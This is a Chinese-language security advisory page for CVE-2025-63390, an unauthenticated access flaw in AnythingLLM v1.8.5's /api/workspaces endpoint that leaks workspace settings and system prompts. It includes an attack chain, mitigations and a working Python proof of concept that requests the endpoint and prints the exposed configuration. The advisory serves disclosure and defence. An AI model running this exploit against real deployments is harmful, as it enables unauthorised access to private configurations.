IPBUF安全漏洞报告
English
CVE-2025-63390 CVSS 5.3 中危

CVE-2025-63390: AnythingLLM v1.8.5身份验证绕过漏洞

披露日期: 2025-12-18

漏洞信息

漏洞编号
CVE-2025-63390
漏洞类型
身份验证绕过
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
AnythingLLM v1.8.5

相关标签

身份验证绕过API安全信息泄露AnythingLLMCVE-2025-63390未授权访问工作区配置泄露

漏洞概述

CVE-2025-63390是存在于AnythingLLM v1.8.5版本中的一个中等严重性身份验证绕过漏洞。该漏洞位于/api/workspaces API端点,由于该端点未能实现适当的身份验证检查,攻击者可以在无需任何凭证的情况下远程访问系统。攻击者利用此漏洞可以枚举并检索所有已配置工作区的详细信息,包括工作区标识符(id、name、slug)、AI模型配置(chatProvider、chatModel、agentProvider)、系统提示(openAiPrompt)、操作参数(temperature、history length、similarity thresholds)、向量搜索设置、聊天模式以及时间戳等敏感信息。CVSS 3.1评分5.3表明该漏洞主要影响机密性,可能导致敏感配置信息泄露。建议受影响的用户尽快升级到最新版本或实施临时缓解措施。

技术细节

该漏洞的根本原因在于AnythingLLM v1.8.5的/api/workspaces端点缺少身份验证中间件或授权检查机制。在正常的Web应用程序中,即使某个API端点不需要用户级别的认证,也应该验证请求的合法性和来源。然而,该端点完全暴露在公网中,任何发送到此端点的HTTP请求都会被服务器处理并返回完整的响应。攻击者只需构造一个简单的HTTP GET请求到/api/workspaces路径,即可获取JSON格式的所有工作区配置数据。响应内容包括每个工作区的详细参数设置,如AI模型选择、温度参数、向量数据库配置等。这些信息不仅本身具有敏感价值,还可能为后续攻击提供有价值的情报支持,例如了解目标组织使用的AI服务提供商和模型类型。

攻击链分析

STEP 1
步骤1
攻击者发现目标系统运行AnythingLLM v1.8.5,并通过网络扫描识别出/api/workspaces端点
STEP 2
步骤2
攻击者构造HTTP GET请求到/api/workspaces端点,无需提供任何认证令牌或凭证
STEP 3
步骤3
服务器响应200状态码并返回包含所有工作区详细信息的JSON数据
STEP 4
步骤4
攻击者解析响应内容,提取敏感信息包括AI模型配置、系统提示、操作参数等
STEP 5
步骤5
利用获取的配置信息进行进一步攻击,如针对特定AI服务进行凭证猜测或配置利用

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2025-63390 PoC - AnythingLLM Authentication Bypass # Target: AnythingLLM v1.8.5 /api/workspaces endpoint def exploit_anythingllm(target_url): """ Exploit for CVE-2025-63390 This PoC demonstrates the authentication bypass in /api/workspaces endpoint """ # Target endpoint without authentication endpoint = "/api/workspaces" url = target_url.rstrip('/') + endpoint print(f"[*] Target: {url}") print(f"[*] Exploiting CVE-2025-63390...") try: # Send unauthenticated request response = requests.get(url, timeout=10) if response.status_code == 200: data = response.json() print(f"[+] Success! Received workspace data") print(f"[+] Found {len(data.get('workspaces', []))} workspaces") # Display workspace details for workspace in data.get('workspaces', []): print(f"\n[*] Workspace: {workspace.get('name')}") print(f" ID: {workspace.get('id')}") print(f" Slug: {workspace.get('slug')}") print(f" Chat Provider: {workspace.get('chatProvider')}") print(f" Chat Model: {workspace.get('chatModel')}") print(f" System Prompt: {workspace.get('openAiPrompt', 'N/A')[:100]}...") print(f" Temperature: {workspace.get('temperature')}") return data else: print(f"[-] Failed with status code: {response.status_code}") return None except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None if __name__ == "__main__": import sys if len(sys.argv) > 1: target = sys.argv[1] else: target = "http://localhost:3001" exploit_anythingllm(target)

影响范围

AnythingLLM v1.8.5

防御指南

临时缓解措施
在官方修复发布之前,建议采取以下临时缓解措施:1) 使用防火墙规则限制对/api/workspaces端点的访问,仅允许受信任的IP访问;2) 在反向代理(如Nginx)中配置基本的访问控制;3) 监控和分析API访问日志,检测异常的批量请求模式;4) 考虑暂时禁用受影响的功能模块;5) 实施网络隔离,将AnythingLLM部署在受保护的VPC或子网中。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表